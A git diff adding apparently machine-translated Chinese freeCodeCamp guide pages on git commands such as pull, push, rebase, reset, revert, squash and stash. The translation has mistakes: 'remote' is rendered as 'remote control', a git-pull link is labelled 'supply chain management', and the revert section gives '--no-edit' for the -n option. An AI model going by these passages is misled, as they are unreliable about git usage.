+ git pull OPTIONS REPOSITORY REFSPEC 
+ 
+ # Pull from specific branch 
+ git pull REMOTE-NAME BRANCH-NAME 
+```
+
+其中：
+
+*   **选项**是命令选项，例如`--quiet`或`--verbose` 。您可以在[Git文档中](https://git-scm.com/docs/git-pull)阅读有关不同选项的更多信息
+*   **REPOSITORY**是您的回购的URL。示例：https：//github.com/freeCodeCamp/freeCodeCamp.git
+*   **REFSPEC**指定要获取的引用和要更新的本地引用
+*   **REMOTE-NAME**是远程存储库的名称。例如： _origin_ 。
+*   **BRANCH-NAME**是您的分支机构的名称。例如： _开发_ 。
+
+**注意**
+
+如果您有未提交的更改， `git pull`命令的合并部分将失败，您的本地分支将不受影响。
+
+因此， _在_从远程存储库中_提取_新提交_之前_ ，应_始终在分支中提交更改_ 。
+
+**目录**
+
+*   [用`git pull`](#using-git-pull)
+*   [分布式版本控制](#distributed-version-control)
+*   [`git fetch` + `git merge`](#git-fetch-plus-git-merge)
+*   [`git pull`入IDE](#git-pull-in-IDEs)
+
+### 用git pull
+
+使用`git pull`从相应的远程存储库更新本地存储库。例如：在`master`本地工作时，执行`git pull`来更新`master`的本地副本并更新其他远程跟踪分支。 （有关远程跟踪分支的更多信息，请参阅下一节。）
+
+但是，有一些事情要记住这个例子是真的：
+
+*   本地存储库具有链接的远程存储库
+*   通过执行`git remote -v`来检查这一点
+*   如果有多个遥控器， `git pull`可能不够信息。您可能需要输入`git pull origin`或`git pull upstream` 。
+*   您当前签出的分支具有相应的远程跟踪分支
+*   通过执行`git status`来检查这一点。如果没有远程跟踪分支，Git不知道_从_哪里提取信息。
+
+### 分布式版本控制
+
+Git是一个**分布式版本控制系统** （DVCS）。使用DVCS，开发人员可以在不同的环境中同时处理同一文件。 _将_代码_推_送到共享远程存储库后，其他开发人员可以_提取已_更改的代码。
+
+#### Git中的网络交互
+
+只有四个命令可以在Git中提示网络交互。在有信息请求之前，本地存储库不知道对远程存储库所做的更改。并且，在推送提交之前，远程存储库不会意识到本地更改。
+
+四个网络命令是：
+
+*   `git clone`
+*   `git fetch`
+*   `git pull`
+*   `git push`
+
+#### DVCS中的分支机构
+
+使用Git时，可能会感觉到有相同代码的大量副本在整个地方浮动。每个分支上有相同文件的不同版本。并且，每个开发人员的计算机和远程计算机上的相同分支的不同副本。为了跟踪这一点，Git使用了一种称为**远程跟踪分支的**东西。
+
+如果在Git存储库中执行`git branch --all` ，远程跟踪分支将显示为红色。这些是远程显示的代码的只读副本。 （最后一次网络交互是什么时候会在本地带来信息？请记住上次更新此信息的时间。远程跟踪分支中的信息反映了该交互的信息。）
+
+使用**远程跟踪分支** ，您可以在几个分支上使用Git而无需网络交互。每次执行`git pull`或`git fetch`命令时，都会更新**远程跟踪分支** 。
+
+### git fetch加上git merge
+
+`git pull`是一个组合命令，等于`git fetch` + `git merge` 。
+
+#### git fetch
+
+`git fetch`本身更新了本地存储库中的所有远程跟踪分支。实际上没有任何变化反映在任何本地工作分支上。
+
+#### git merge
+
+没有任何参数， `git merge`会将相应的远程跟踪分支合并到本地工作分支。
+
+#### git pull
+
+`git fetch`更新远程跟踪分支。 `git merge`使用相应的远程跟踪分支更新当前分支。使用`git pull` ，您可以获得这些更新的两个部分。但是，这意味着如果您签出了`feature`分支并执行`git pull` ，那么当您签出要`master` ，将不会包含任何新的更新。每当你签到另一个可能有新变化的分支时，执行`git pull`总是一个好主意。
+
+### git拉入IDE
+
+其他IDES中的通用语言可能不包括单词`pull` 。如果您注意单词`git pull`但看不到它们，请查找单词`sync` 。
+
+### 将远程PR（Pull Request）放入本地仓库
+
+出于审查等目的，应将遥控器中的PR提取到本地存储库。您可以使用`git fetch`命令执行此操作。
+
+`git fetch origin pull/ID/head:BRANCHNAME`
+
+ID是拉取请求ID，BRANCHNAME是您要创建的分支的名称。创建分支后，您可以使用`git checkout`切换到该brach。
+
+### 关于git pull的其他资源
+
+*   [git的供应链管理](https://git-scm.com/docs/git-pull)
+*   [GitHub帮助文档](https://help.github.com/articles/fetching-a-remote/#pull)
+*   [GitHub按需培训](https://services.github.com/on-demand/intro-to-github/create-pull-request)
+*   [同步教程](https://www.atlassian.com/git/tutorials/syncing)
+
+### 关于git的其他资源，请访问guide.freecodecamp.org
+
+*   [Git合并](../git-merge/index.md)
+*   [Git结账](../git-checkout/index.md)
+*   [Git提交](../git-commit/index.md)
+*   [Git藏匿](../git-stash/index.md)
+*   [Git分支](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-push/index.md b/client/src/guide/chinese/git/git-push/index.md
new file mode 100644
index 0000000000..3dbb707f4c
--- /dev/null
+++ b/client/src/guide/chinese/git/git-push/index.md
@@ -0,0 +1,76 @@
+---
+title: Git Push
+localeTitle: Git Push
+---
+## Git Push
+
+`git push`命令允许您将提交从本地Git存储库中的本地分支发送（或_推送_ ）到远程存储库。
+
+为了能够推送到远程存储库，您必须确保**提交对本地存储库的所有更改** 。
+
+该命令的语法如下：
+
+```bash
+git push <repo name> <branch name> 
+```
+
+您可以通过命令传递许多不同的选项，您可以在[Git文档中](https://git-scm.com/docs/git-push#_options_a_id_options_a)了解有关它们的更多信息或运行`git push --help` 。
+
+### 推送到特定的远程存储库和分支
+
+为了推送代码，您必须首先将存储库克隆到本地计算机。
+
+```bash
+# Once a repo is cloned, you'll be working inside of the default branch (the default is `master`) 
+ git clone https://github.com/<git-user>/<repo-name> && cd <repo-name> 
+ # make changes and stage your files (repeat the `git add` command for each file, or use `git add .` to stage all) 
+ git add <filename> 
+ # now commit your code 
+ git commit -m "added some changes to my repo!" 
+ # push changes in `master` branch to github 
+ git push origin master 
+```
+
+要了解有关分支机构的更多信息，请查看以下链接
+
+*   [git checkout](https://github.com/renington/guides/blob/master/src/pages/git/git-checkout/index.md)
+*   [git branch](https://github.com/renington/guides/blob/master/src/pages/git/git-branch/index.md)
+
+### 推送到特定的远程存储库及其中的所有分支
+
+如果要将所有更改推送到远程存储库及其中的所有分支，可以使用：
+
+```bash
+git push --all <REMOTE-NAME> 
+```
+
+其中：
+
+*   `--all`是表示您要将所有分支推送到远程存储库的标志
+*   `REMOTE-NAME`是要推送到的远程存储库的名称
+
+### 使用force参数推送到特定分支
+
+如果你想忽略在Github上对Git存储库进行的本地更改（大多数开发人员都对开发服务器进行热修复），那么你可以使用--force命令来忽略这些变化。
+
+```bash
+git push --force <REMOTE-NAME> <BRANCH-NAME> 
+```
+
+其中：
+
+*   `REMOTE-NAME`是要将更改推送到的远程存储库的名称
+*   `BRANCH-NAME`是要将更改推送到的远程分支的名称
+
+### 推动忽略Git的预推钩
+
+默认情况下， `git push`会触发`--verify`切换。这意味着git将执行可能已配置的任何客户端预推脚本。如果预推脚本失败，那么git push也会失败。 （Pre-Push挂钩适用于诸如检查提交消息是否符合公司标准，运行单元测试等等）。有时，您可能希望忽略此默认行为，例如，在您希望将更改推送到功能分支以供另一个贡献者提取的情况下，但您的工作进度更改会破坏单元测试。要忽略该钩子，只需输入push命令并添加标志`--no-verify`
+
+```bash
+git push --no-verify 
+```
+
+### 更多信息：
+
+*   [Git文档 - 推送](https://git-scm.com/docs/git-push)
+*   [Git钩子](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-rebase/index.md b/client/src/guide/chinese/git/git-rebase/index.md
new file mode 100644
index 0000000000..9f656d8bda
--- /dev/null
+++ b/client/src/guide/chinese/git/git-rebase/index.md
@@ -0,0 +1,76 @@
+---
+title: Git Rebase
+localeTitle: 去Rebase
+---
+## Git Rebase
+
+在Git中重新分支分支是一种将整个分支移动到树中另一个点的方法。最简单的例子是在树中进一步向上移动分支。假设我们在A点有一个与主分支不同的分支：
+```
+        /o-----o---o--o-----o--------- branch 
+ --oo--A--o---o---o---o----o--ooo--- master 
+```
+
+如果你改变，你可以这样移动：
+```
+                                   /o-----o---o--o-----o------ branch 
+ --oo--A--o---o---o---o----o--ooo master 
+```
+
+要进行rebase，请确保在master分支中的rebase中拥有所需的所有提交。检查要重新绑定的分支并键入`git rebase master` （其中master是要重新绑定的分支）。
+
+也可以在不同的分支上进行rebase，以便例如基于另一个分支的分支（让我们称之为功能）在master上重新定位：
+```
+                            /---oo branch 
+           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
+```
+
+在你签出分支后，在`git rebase master branch`或`git rebase master` ，你会得到：
+```
+           /---oooo---o--o------ feature 
+ ----o--ooA----o---o--ooo--o--o- master 
+                                  \---oo branch 
+```
+
+### 在控制台中使用Git rebase交互
+
+要在控制台中使用带有提交列表的`git rebase` ，您可以选择，编辑或删除rebase：
+
+*   输入`git rebase -i HEAD~5` ，最后一个数字是您要查看的最近一次提交的任意数量的提交。
+*   在vim中，按`esc` ，然后`i`开始编辑测试。
+*   在左侧，您可以使用以下命令之一覆盖`pick` 。如果要将提交压缩到前一个提交并丢弃提交消息，请在提交`pick`位置输入`f` 。
+```
+pick 452b159 <message for this commit> 
+ pick 7fd4192 <message for this commit> 
+ pick c1af3e5 <message for this commit> 
+ pick 5f5e8d3 <message for this commit> 
+ pick 5186a9f <message for this commit> 
+ 
+ # Rebase 0617e63..5186a9f onto 0617e63 (30 commands) 
+ # 
+ # Commands: 
+ # p, pick = use commit 
+ # r, reword = use commit, but edit the commit message 
+ # e, edit = use commit, but stop for amending 
+ # s, squash = use commit, but meld into previous commit 
+ # f, fixup = like "squash", but discard this commit's log message 
+ # x, exec = run command (the rest of the line) using shell 
+ # d, drop = remove commit 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+```
+
+*   输入`esc`然后输入`:wq`进行保存并退出。
+*   如果它成功重新绑定，那么你需要强制推送你的更改，使用`git push -f`将更新的版本添加到你的github仓库。
+*   如果存在合并冲突，可通过多种方法解决此问题，包括遵循[本指南中](https://help.github.com/enterprise/2.11/user/articles/resolving-a-merge-conflict-using-the-command-line/)的建议。一种方法是在文本编辑器中打开文件并删除不需要的代码部分。然后使用`git add <file name>`然后使用`git rebase --continue` 。您可以通过输入`git rebase --skip`跳过冲突的提交，在控制台中输入`git rebase --abort`退出git rebase。
+
+### 更多信息：
+
+*   [Git文档：rebase](https://git-scm.com/docs/git-rebase)
+*   [虽然是git rebase的互动指南](https://robots.thoughtbot.com/git-interactive-rebase-squash-amend-rewriting-history)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-remote/index.md b/client/src/guide/chinese/git/git-remote/index.md
new file mode 100644
index 0000000000..a14c0559cf
--- /dev/null
+++ b/client/src/guide/chinese/git/git-remote/index.md
@@ -0,0 +1,67 @@
+---
+title: Git Remote
+localeTitle: Git Remote
+---
+## Git Remote
+
+`git remote`命令允许您管理Git远程存储库。远程存储库是对在同一代码库上运行的其他Git存储库的引用。
+
+您可以 [从中拉出来](https://guide.freecodecamp.org/git/git-pull/) 和 [推动](https://guide.freecodecamp.org/git/git-push/) 远程存储库。
+
+您可以推送或拉入HTTPS URL（例如`https://github.com/user/repo.git` ）或SSH URL（例如`git@github.com:user/repo.git` 。
+
+不用担心，每次推送东西时，都不需要输入整个URL。 Git将远程URL与名称关联，大多数人使用的名称是`origin` 。
+
+### 列出所有已配置的远程存储库
+
+```bash
+git remote -v 
+```
+
+此命令列出所有远程存储库及其位置。
+
+远程存储库按名称引用。如上所述，项目的主存储库通常称为`origin` 。
+
+当你使用 [git clone](https://guide.freecodecamp.org/git/git-clone/) 为了获取存储库的副本，Git将原始位置设置为_源_远程存储库。
+
+### 添加远程存储库
+
+要将远程存储库添加到项目，请运行以下命令：
+
+```bash
+git remote add REMOTE-NAME REMOTE-URL 
+```
+
+`REMOTE-URL`可以是HTTPS或SSH。您可以通过单击存储库中的“克隆或下载”下拉列表在GitHub上找到该URL。
+
+例如，如果要添加远程存储库并将其称为`example` ，则应运行：
+
+```bash
+git remote add example https://example.org/my-repo.git 
+```
+
+### 更新远程URL
+
+如果远程存储库的URL发生更改，则可以使用以下命令对其进行更新，其中`example`是远程存储库的名称：
+
+```bash
+git remote set-url example https://example.org/my-new-repo.git 
+```
+
+### 删除遥控器
+
+删除遥控器的方式如下：
+
+```bash
+git remote rm REMOTE-NAME 
+```
+
+您可以通过查看现有遥控器列表来确认遥控器已消失：
+
+```bash
+git remote -v 
+```
+
+### 更多信息：
+
+*   [Git远程文档](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-reset/index.md b/client/src/guide/chinese/git/git-reset/index.md
new file mode 100644
index 0000000000..b19a71294b
--- /dev/null
+++ b/client/src/guide/chinese/git/git-reset/index.md
@@ -0,0 +1,45 @@
+---
+title: Git Reset
+localeTitle: Git重置
+---
+## Git重置
+
+`git reset`命令允许您将当前头重置为指定状态。您可以重置特定文件的状态以及整个分支。
+
+### 重置文件或文件集
+
+以下命令允许您有选择地选择内容块并还原或取消暂存。
+
+```shell
+git reset (--patch | -p) [tree-ish] [--] [paths] 
+```
+
+### 取消暂存文件
+
+如果您使用`git add`文件移动到暂存区域，但不再希望它成为提交的一部分，则可以使用`git reset`来取消`git reset`该文件：
+
+```shell
+git reset HEAD FILE-TO-UNSTAGE 
+```
+
+您所做的更改仍将在文件中，此命令只是从暂存区域中删除该文件。
+
+### 将分支重置为先前的提交
+
+以下命令将当前分支的HEAD重置为给定的`COMMIT`并更新索引。它基本上会回退你的分支的状态，然后你所做的所有提交都会写出重置点之后的任何内容。如果省略`MODE` ，则默认为`--mixed` ：
+
+```shell
+git reset MODE COMMIT 
+```
+
+`MODE`的选项是：
+
+*   `--soft` ：不重置索引文件或工作树，但重置HEAD以`commit` 。将所有文件更改为“要提交的更改”
+*   `--mixed` ：重置索引但不重置工作树，并报告尚未更新的内容
+*   `--hard` ：重置索引和工作树。自`commit`以来对工作树中跟踪文件的任何更改都将被丢弃
+*   `--merge` ：重置索引并更新工作树中`commit`和HEAD之间不同的文件，但保留索引和工作树之间不同的文件
+*   `--keep` ：重置索引条目并更新工作树中`commit`和HEAD之间不同的文件。如果`commit`和HEAD之间不同的文件具有本地更改，则重置将中止
+
+### 更多信息：
+
+*   [Git重置文档](https://git-scm.com/docs/git-reset)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-revert/index.md b/client/src/guide/chinese/git/git-revert/index.md
new file mode 100644
index 0000000000..9583dfcf5a
--- /dev/null
+++ b/client/src/guide/chinese/git/git-revert/index.md
@@ -0,0 +1,71 @@
+---
+title: Git Revert
+localeTitle: Git Revert
+---
+## Git Revert
+
+`git revert`命令撤消提交，但与`git reset` （从提交历史记录中删除提交）不同，它会附加一个带有结果内容的新提交。这可以防止Git丢失历史记录，这对于修订历史记录的完整性和可靠的协作非常重要。当您与其他开发人员一起使用存储库时，使用`git reset`非常危险，因为您更改了提交的历史记录，这使得很难与其他开发人员保持一致的提交历史记录。
+
+### 常见选项
+
+1.）这是默认选项，不需要指定。此选项将打开已配置的系统编辑器，并在提交还原之前提示您编辑提交消息。
+
+```shell
+  -e 
+  --edit 
+```
+
+2.）这是-e选项的反转。 `revert`将不会打开编辑器。
+
+```shell
+  --no-edit 
+```
+
+3.）传递此选项将阻止`git revert`创建一个反转目标提交的新提交。此选项不会创建新提交，而是将相反的更改添加到暂存索引和工作目录。
+
+```shell
+  -n 
+  --no-edit 
+```
+
+### 例。
+
+让我们想象下面的情况。 1.）您正在处理文件，并添加并提交更改。 2.）然后，您可以处理其他一些事情，并进行更多提交。 3.）现在你意识到，你做了三到四次提交，你做了一些你想要撤消的事情 - 你怎么能这样做？
+
+您可能在想，只需使用`git reset` ，但这将删除您想要更改的所有提交 - `git revert`为救援！让我们来看看这个例子：
+
+```shell
+mkdir learn_revert # Create a folder called `learn_revert` 
+ cd learn_revert # `cd` into the folder `learn_revert` 
+ git init # Initialize a git repository 
+ 
+ touch first.txt # Create a file called `first.txt` 
+ echo Start >> first.txt # Add the text "Start" to `first.txt` 
+ 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding first" # Commit with the message "Adding first.txt" 
+ 
+ echo WRONG > wrong.txt # Add the text "WRONG" to `wrong.txt` 
+ git add . # Add the `wrong.txt` file 
+ git commit -m "adding WRONG to wrong.txt" # Commit with the message "Adding WRONG to wrong.txt" 
+ 
+ echo More >> first.txt # Add the text "More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding More to first.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ echo Even More >> first.txt # Add the text "Even More" to `first.txt` 
+ git add . # Add the `first.txt` file 
+ git commit -m "adding Even More to First.txt" # Commit with the message "Adding More to first.txt" 
+ 
+ # OH NO! We want to undo the commit with the text "WRONG" - let's revert! Since this commit was 2 from where we are not we can use git revert HEAD~2 (or we can use git log and find the SHA of that commit) 
+ 
+ git revert HEAD~2 # this will put us in a text editor where we can modify the commit message. 
+ 
+ ls # wrong.txt is not there any more! 
+ git log --oneline # note that the commit history hasn't been altered, we've just added a new commit reflecting the removal of the `wrong.txt` 
+```
+
+#### 更多信息：
+
+*   [Git还原文档](https://git-scm.com/docs/git-revert)
+*   [Git还原了互动教程](https://www.atlassian.com/git/tutorials/undoing-changes/git-revert)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-show/index.md b/client/src/guide/chinese/git/git-show/index.md
new file mode 100644
index 0000000000..c961314c19
--- /dev/null
+++ b/client/src/guide/chinese/git/git-show/index.md
@@ -0,0 +1,59 @@
+
+---
+title: Git Show
+localeTitle: undefined
+---
+## Git Show
+
+`git show`是一个方便的命令，使您可以查看给定对象（提交，标记，blob和树）的详细视图。
+
+该命令的语法如下：
+
+```bash
+git show [<options>] [<object>…​] 
+```
+
+对于不同的git对象， `git show`给出了不同的输出。
+
+*   提交它显示提交日志消息，其中包含已提交的更改差异。
+*   对于标签，它显示标签消息和引用的对象。
+*   对于树木，它显示了名称
+*   对于普通blob，它显示普通内容
+
+`git show`的最常见用法是与git commit对象相关联
+
+```bash
+git show 3357d63 
+```
+
+你会得到类似的输出，
+```
+commit 3357d63d8f44104940e568a1ba89fa88a16dc753 
+ Author: John Doe <johndoe@acme.com> 
+ Date:   Tue Oct 2 00:57:38 2018 +0530 
+ 
+    add a section on git commit --amend --author 
+ 
+ diff --git a/src/pages/git/git-commit/index.md b/src/pages/git/git-commit/index.md 
+ index fc9f568..8f1c8eb 100644 
+ --- a/src/pages/git/git-commit/index.md 
+ +++ b/src/pages/git/git-commit/index.md 
+ @@ -73,5 +73,11 @@ Premature commits happen all the time in the course of your day-to-day developme 
+ 
+ Amended commits are actually entirely new commits and the previous commit will no longer be on your current branch. When you're working with others, you should try to avoid amending commits if the last commit is already pushed into the repository. 
+ 
+ +With `--amend`, one of the useful flag you could use is `--author` which enables you to change the author of the last commit you've made. Imagine a situation you haven't properly set up your name or email in git configurations but you already made a commit. With `--author` flag you can simply change them without resetting the last commit. 
+ + 
+ +``` 
+ +git commit --amend --author="John Doe <johndoe@email.com>" 
+ +``` 
+ + 
+ ### More Information: 
+ - Git documentation: [commit](https://git-scm.com/docs/git-commit) 
+```
+
+您可以使用`git show` ，它将显示最新git提交的内容。
+
+### 更多信息：
+
+*   [Git文档 - 显示](https://git-scm.com/docs/git-show)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-squash/index.md b/client/src/guide/chinese/git/git-squash/index.md
new file mode 100644
index 0000000000..611fe58b30
--- /dev/null
+++ b/client/src/guide/chinese/git/git-squash/index.md
@@ -0,0 +1,92 @@
+---
+title: Git Squash
+localeTitle: Git Squash
+---
+## Git Squash
+
+开发人员经常听到关于他们的拉取请求的事情之类的事情就像“对我来说好看，请挤压并合并”。有趣的是，没有像`git squash`这样的命令（除非你为它创建一个[别名](https://guide.freecodecamp.org/git/git-rebase) ）。为了`squash` pull请求通常意味着在此请求所有提交压缩成一个（很少到其他号码），使之更简洁，可读性和不污染主要分支的历史。要实现该开发人员需要使用[Git Rebase](https://guide.freecodecamp.org/git/git-rebase)命令的**交互模式** 。
+
+通常，当您开发一些新功能时，您最终会在历史记录中进行多次间歇性提交 - 毕竟您会逐渐增加。这可能只是一些拼写错误或最终解决方案的步骤。大多数情况下，在最终公共版本的代码中使用所有这些提交是没有用的，因此将所有这些提交压缩成一个，单个和最终的更有益。
+
+因此，假设您在作为pull请求的一部分合并的分支中有以下提交日志：
+
+```shell
+$ git log --pretty=oneline --abbrev-commit 
+ 30374054 Add Jupyter Notebook stub to Data Science Tools 
+ 8490f5fc Minor formatting and Punctuation changes 
+ 3233cb21 Prototype for Notebook page 
+```
+
+很明显，我们宁愿在这里只有一个提交，因为知道我们开始编写的内容以及我们稍后在那里修改了哪个拼写错误没有任何好处，只有最终结果才是重要的。
+
+所以我们做的是从当前**HEAD** （提交**30374054** ）开始交互式rebase会话以提交**3233cb21** ，意图将**3个**最新提交合并为一个：
+
+```shell
+$ git rebase -i HEAD~3 
+```
+
+这将打开一个编辑器，如下所示：
+
+```shell
+pick 3233cb21 Prototype for Notebook page 
+ pick 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+ # Rebase 
+ # 
+ # Commands: 
+ #  p, pick = use commit 
+ #  r, reword = use commit, but edit the commit message 
+ #  e, edit = use commit, but stop for amending 
+ #  s, squash = use commit, but meld into previous commit 
+ #  f, fixup = like "squash", but discard this commit's log message 
+ #  x, exec = run command (the rest of the line) using shell 
+ # 
+ # These lines can be re-ordered; they are executed from top to bottom. 
+ # 
+ # If you remove a line here THAT COMMIT WILL BE LOST. 
+ # 
+ # However, if you remove everything, the rebase will be aborted. 
+ # 
+ # Note that empty commits are commented out 
+```
+
+和往常一样，Git给了我们非常好的帮助信息，你可以看到我们正在寻找的这个`squash`选项。
+
+目前，交互式rebase的指令表示`pick`每个指定的提交**并**保留相应的提交消息。那就是 - 不要改变任何东西。但我们希望最终只有一个提交。只需在您编辑替换编辑文本`pick`与`squash` （或只是`s` ）未来哟每一个承诺，我们要摆脱和保存/退出编辑器。这可能看起来像这样：
+
+```shell
+s 3233cb21 Prototype for Notebook page 
+ s 8490f5fc Minor formatting and Punctuation changes 
+ pick 30374054 Add Jupyter Notebook to Data Science Tools 
+```
+
+当您关闭编辑器保存此更改时，它将立即重新打开，建议选择并重新提交提交消息。就像是
+
+```shell
+# This is a combination of 3 commits. 
+ # The first commit's message is: 
+ Prototype for Notebook page 
+ 
+ # This is the 2nd commit message: 
+ 
+ Minor formatting and Punctuation changes 
+ 
+ # This is the 3rd commit message: 
+ 
+ Add Jupyter Notebook to Data Science Tools 
+ 
+ # Please enter the commit message for your changes. Lines starting 
+ # with '#' will be ignored, and an empty message aborts the commit. 
+```
+
+此时，您可以删除不希望包含在最终提交版本中的所有消息，重写它们或只是从头开始编写提交消息。请记住，新版本将包含所有不以`#`字符开头的行。再一次，保存并退出编辑器。
+
+您的终端现在应该显示成功消息，包括`Successfully rebased and updated <branch name>` ，并且git日志应该只显示一个提交的良好和压缩历史记录。所有中间提交都已消失，我们准备合并！
+
+### 有关本地和远程提交历史记录不匹配的警告
+
+如果您的分支已经发布在远程存储库中，则此操作稍微有点危险 - 毕竟您正在修改提交历史记录。因此，在**推送**之前最好在本地分支上进行压缩操作。有时它会被推 - 你怎么会创建拉请求呢？在这种情况下，您必须在执行压缩后**强制**执行远程分支上的更改，因为远程存储库中的本地历史记录和分支历史记录不同：
+
+`shell $ git push origin +my-branch-name`
+
+尽力确保你是唯一一个在这一点上使用这个远程分支的人，或者你将使他们的生活更加困难，因为历史不匹配。但是，由于**挤压**通常是在分支之前作为分支的最终操作完成的，因此通常没有那么大的担忧。
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-stash/index.md b/client/src/guide/chinese/git/git-stash/index.md
new file mode 100644
index 0000000000..03b8639b3a
--- /dev/null
+++ b/client/src/guide/chinese/git/git-stash/index.md
@@ -0,0 +1,74 @@
+---
+title: Git Stash
+localeTitle: Git Stash
+---
+## Git Stash
+
+Git有一个名为stash的区域，您可以在其中临时存储更改的快照，而无需将它们提交到存储库。它与工作目录，临时区域或存储库分开。
+
+当您对尚未准备好提交的分支进行更改但是需要切换到另一个分支时，此功能非常有用。
+
+### 藏匿变化
+
+要将更改保存在存储中，请运行以下命令：
+
+```shell
+git stash save "optional message for yourself" 
+```
+
+这将保存您的更改并将工作目录恢复为最新提交的外观。可以从该存储库中的任何分支进行隐藏更改。
+
+请注意，您要隐藏的更改需要位于跟踪的文件中。如果您创建了一个新文件并尝试存储更改，则可能会收到错误“ `No local changes to save` 。
+
+### 查看Stashed Changes
+
+要查看存储中的内容，请运行以下命令：
+
+```shell
+git stash list 
+```
+
+这将以`stash@{0}: BRANCH-STASHED-CHANGES-ARE-FOR: MESSAGE`的格式返回已保存快照的列表`stash@{0}: BRANCH-STASHED-CHANGES-ARE-FOR: MESSAGE` 。 `stash@{0}`部分是存储的名称，花括号（ `{ }` ）中的数字是该存储的索引。如果您有多个更改集存储，则每个更改集将具有不同的索引。
+
+如果您忘记了存储中所做的更改，您可以使用`git stash show NAME-OF-STASH`查看它们的摘要。如果要查看典型的diff-style补丁布局（使用+'和-s进行逐行更改），可以包含`-p` （for patch）选项。这是一个例子：
+
+```shell
+git stash show -p stash@{0} 
+ 
+ # Example result: 
+ diff --git a/PathToFile/fileA b/PathToFile/fileA 
+ index 2417dd9..b2c9092 100644 
+ --- a/PathToFile/fileA 
+ +++ b/PathToFile/fileA 
+ @@ -1,4 +1,4 @@ 
+ -What this line looks like on branch 
+ +What this line looks like with stashed changes 
+```
+
+### 检索隐藏的更改
+
+要从存储中检索更改并将其应用到您当前的分支，您有两个选择：
+
+1.  `git stash apply STASH-NAME`应用更改并在存储中`git stash apply STASH-NAME`副本
+2.  `git stash pop STASH-NAME`应用更改并从存储中删除文件
+
+应用更改时可能会发生冲突。您可以解决类似于合并的冲突（ [有关详细信息，请参阅Git merge](https://guide.freecodecamp.org/git/git-merge/) ）。
+
+### 删除隐藏的更改
+
+如果要在不应用它们的情况下删除隐藏的更改，请运行以下命令：
+
+```shell
+git stash drop STASH-NAME 
+```
+
+要清除整个存储，请运行以下命令：
+
+```shell
+git stash clear 
+```
+
+### 更多信息：
+
+*   `git merge`命令： [fCC指南](https://guide.freecodecamp.org/git/git-merge/)
+*   Git文档： [藏匿](https://git-scm.com/docs/git-stash)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-status/index.md b/client/src/guide/chinese/git/git-status/index.md
new file mode 100644
index 0000000000..775ec79682
--- /dev/null
+++ b/client/src/guide/chinese/git/git-status/index.md
@@ -0,0 +1,17 @@
+---
+title: Git Status
+localeTitle: Git状态
+---
+## Git状态
+
+`git status`命令显示工作目录和暂存区域的状态。它显示`index`文件和当前`HEAD`提交之间存在差异的路径，工作树和`index`文件之间存在差异的路径，以及工作树中未由Git跟踪的路径（ [gitignore](https://git-scm.com/docs/gitignore)不会忽略这些[路径）](https://git-scm.com/docs/gitignore)
+
+`git status`命令输出不会显示有关已提交项目历史记录的任何信息。为此，您需要使用`git log` 。
+
+### 用法
+
+```shell
+git status 
+```
+
+列出哪些文件已暂存，未暂存和未跟踪。
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-verifying-commits/index.md b/client/src/guide/chinese/git/git-verifying-commits/index.md
new file mode 100644
index 0000000000..f312582a3e
--- /dev/null
+++ b/client/src/guide/chinese/git/git-verifying-commits/index.md
@@ -0,0 +1,19 @@
+---
+title: Git Verifying Commits
+localeTitle: Git Verifying Commits
+---
+## Git Verifying Commits
+
+当您与来自世界各地的人一起构建软件时，有时确认提交和标记来自已识别的来源非常重要。 Git支持使用GPG签署提交和标签。 GitHub显示提交和标记何时签名。
+
+![已验证的提交](https://cloud.githubusercontent.com/assets/25792/14253743/87b504be-fa41-11e5-9140-6dc8b7203c31.png)
+
+当您查看已签名的提交或标记时，您将看到一个徽章，指示是否可以使用上传到GitHub的任何贡献者的GPG密钥来验证签名。您可以通过访问密钥设置页面上传您的GPG密钥。
+
+许多开源项目和公司希望确保提交来自经过验证的来源。对提交和标记进行GPG签名验证，可以很容易地看到GitHub知道的提交或标记何时被验证的密钥签名。
+
+![验证签名](https://cloud.githubusercontent.com/assets/25792/14290042/5b27dab2-fb12-11e5-9ff9-44116a7780ea.png)
+
+### 更多信息：
+
+*   [签署你的工作](https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/gitignore/index.md b/client/src/guide/chinese/git/gitignore/index.md
new file mode 100644
index 0000000000..00593d4d26
--- /dev/null
+++ b/client/src/guide/chinese/git/gitignore/index.md
@@ -0,0 +1,49 @@
+---
+title: Gitignore
+localeTitle: 的.gitignore
+---
+## Gitignore
+
+`.gitignore`文件是一个文本文件，告诉Git在项目中忽略哪些文件或文件夹。
+
+本地`.gitignore`文件通常放在项目的根目录中。您还可以创建一个全局`.gitignore`文件，该文件中的所有条目都将在所有Git存储库中被忽略。
+
+要创建本地`.gitignore`文件，请创建一个文本文件并将其命名为`.gitignore` （请记住在开头包含`.` ）。然后根据需要编辑此文件。每个新行都应列出您希望Git忽略的其他文件或文件夹。
+
+此文件中的条目也可以遵循匹配模式。
+
+*   `*`用作通配符匹配
+*   `/`用于忽略相对于`.gitignore`文件的路径名
+*   `#`用于向`.gitignore`文件添加注释
+
+这是`.gitignore`文件的外观示例：
+```
+# Ignore Mac system files 
+ .DS_store 
+ 
+ # Ignore node_modules folder 
+ node_modules 
+ 
+ # Ignore all text files 
+ *.txt 
+ 
+ # Ignore files related to API keys 
+ .env 
+ 
+ # Ignore SASS config files 
